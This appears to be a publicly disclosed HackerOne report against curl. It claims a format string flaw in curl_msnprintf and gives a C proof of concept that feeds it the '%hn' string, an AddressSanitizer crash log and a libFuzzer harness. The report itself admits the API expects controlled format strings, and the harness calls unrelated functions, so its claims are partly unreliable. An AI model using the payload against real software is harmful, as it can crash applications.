HexBrain

curl · Report #2990139

Format string vulnerability, curl_msnprintf() function

N/Astatus
mediumseverity
15upvotes
20 Feb 2025disclosed

How it was found

Summary:

A vulnerability has been identified in the curl library’s formatted output functions (specifically in curl_msnprintf and its related functions). When a malicious (attacker-controlled) format string containing the %hn conversion specifier is passed, the function incorrectly attempts to write the number of characters printed into a pointer that is not provided by the caller. This leads to a misaligned memory write (as demonstrated by a write to address 0x000000000001), resulting in undefined behavior and a crash. Although the API documentation warns that these functions are to be used with controlled format strings, the internal handling of %hn should not lead to such dangerous memory accesses even with untrusted input.

The curl_mprintf family (including curl_msnprintf) is designed to behave like standard printf-style functions. According to the documentation, these functions expect a valid format string and matching arguments. However, when a malicious format string such as "%hnuked" is used, no corresponding argument is provided for the %hn specifier. This causes the internal formatting routine (in mprintf.c, line 1047) to dereference an invalid pointer (which turns out to be 0x000000000001) and attempt a store of a short value. Because the address is both misaligned and invalid, this results in a memory safety violation (as detected by AddressSanitizer with a misaligned store error).

Affected version

latest version from git

Steps To Reproduce:

The following C code :

#include <stdio.h>
#include <curl/mprintf.h>

int main(void) {
    char buffer[256];
    const char *malicious_format = "%hnuked"; 
    printf("Using malicious format string: \"%s\"\n", malicious_format);
    curl_msnprintf(buffer, sizeof(buffer), malicious_format);
    printf("Formatted output: %s\n", buffer);
    return 0;
}

Should be compiled with AddressSanitizer enabled :

clang-14 -fsanitize=address vuln-curl.c -I include/ -o vuln-curl ./lib/.libs/libcurl.a -lz -lpsl -lbrotlidec

So running it will result in the following ASAN log :

./vuln-curl 
Using malicious format string: "%hnuked"
mprintf.c:1047:9: runtime error: store to misaligned address 0x000000000001 for type 'short', which requires 2 byte alignment
0x000000000001: note: pointer points here
<memory cannot be printed>
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mprintf.c:1047:9 in 
AddressSanitizer:DEADLYSIGNAL
=================================================================
==80435==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x5d47e8ac3191 bp 0x7fff9e689450 sp 0x7fff9e6877e0 T0)
==80435==The signal is caused by a WRITE memory access.
==80435==Hint: address points to the zero page.
    #0 0x5d47e8ac3191 in formatf /home/test/Documents/curl/lib/mprintf.c:1047:34
    #1 0x5d47e8abf553 in curl_mvsnprintf /home/test/Documents/curl/lib/mprintf.c:1080:13
    #2 0x5d47e8ac49ad in curl_msnprintf /home/test/Documents/curl/lib/mprintf.c:1100:13
    #3 0x5d47e8abf2ed in main (/home/test/Documents/curl/vuln-curl+0x2bb2ed) (BuildId: 9d173a19c9f17931aa243f138ec604086bb81fa9)
    #4 0x70b736e29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #5 0x70b736e29e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #6 0x5d47e8a015e4 in _start (/home/test/Documents/curl/vuln-curl+0x1fd5e4) (BuildId: 9d173a19c9f17931aa243f138ec604086bb81fa9)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/test/Documents/curl/lib/mprintf.c:1047:34 in formatf
==80435==ABORTING

The following supporting libfuzzer harness will also trigger the same bug :

#include <cstring>
#include <random>
#include "curl_hmac.h"
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
    if (size == 0) return 0;
    // Create a buffer to hold the formatted string
    char buffer[256];
    
    // Ensure the input data is null-terminated
    std::vector<uint8_t> null_terminated_data(data, data + size);
    null_terminated_data.push_back(0);
    // Use curl_msnprintf to format the input data
    curl_msnprintf(buffer, sizeof(buffer), reinterpret_cast<const char *>(null_terminated_data.data()));
    // Open a file to write the output
    FILE *out_file = fopen("output_file", "wb");
    if (!out_file) {
        return 0;
    }
    // Write the formatted string to the file
    fwrite(buffer, sizeof(char), strlen(buffer), out_file);
    fclose(out_file);
    // Simulate a CURLUcode error and get the error string
    CURLUcode error_code = CURLUE_BAD_HANDLE;
    const char *error_str = curl_url_strerror(error_code);
    // Open the input data as a file for reading
    FILE *in_file = fmemopen((void *)data, size, "rb");
    if (in_file) {
        // Read headers from the input file using curl_pushheader_byname
        struct curl_pushheaders *headers = nullptr;
        char *header_value = curl_pushheader_byname(headers, "Content-Type");
        if (header_value) {
            free(header_value);
        }
        fclose(in_file);
    }
    return 0;
}

Recommendation: Review and adjust the internal handling of dangerous conversion specifiers (such as %n and %hn) in the curl_mprintf implementation. Consider sanitizing or outright rejecting format strings that contain %n conversions when they could result in writing to uncontrolled memory locations.

References:

curl_mprintf documentation ASAN output from the reproduction scenario

Impact

Summary:

Crash: In a scenario where untrusted input reaches curl_msnprintf (or similar functions), an attacker could force a denial-of-service by crashing the application. Potential Exploitability: Although the immediate impact is a crash, memory corruption—even with a 2-byte misaligned write—could be leveraged further in some environments to achieve code execution, depending on additional context and heap state.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original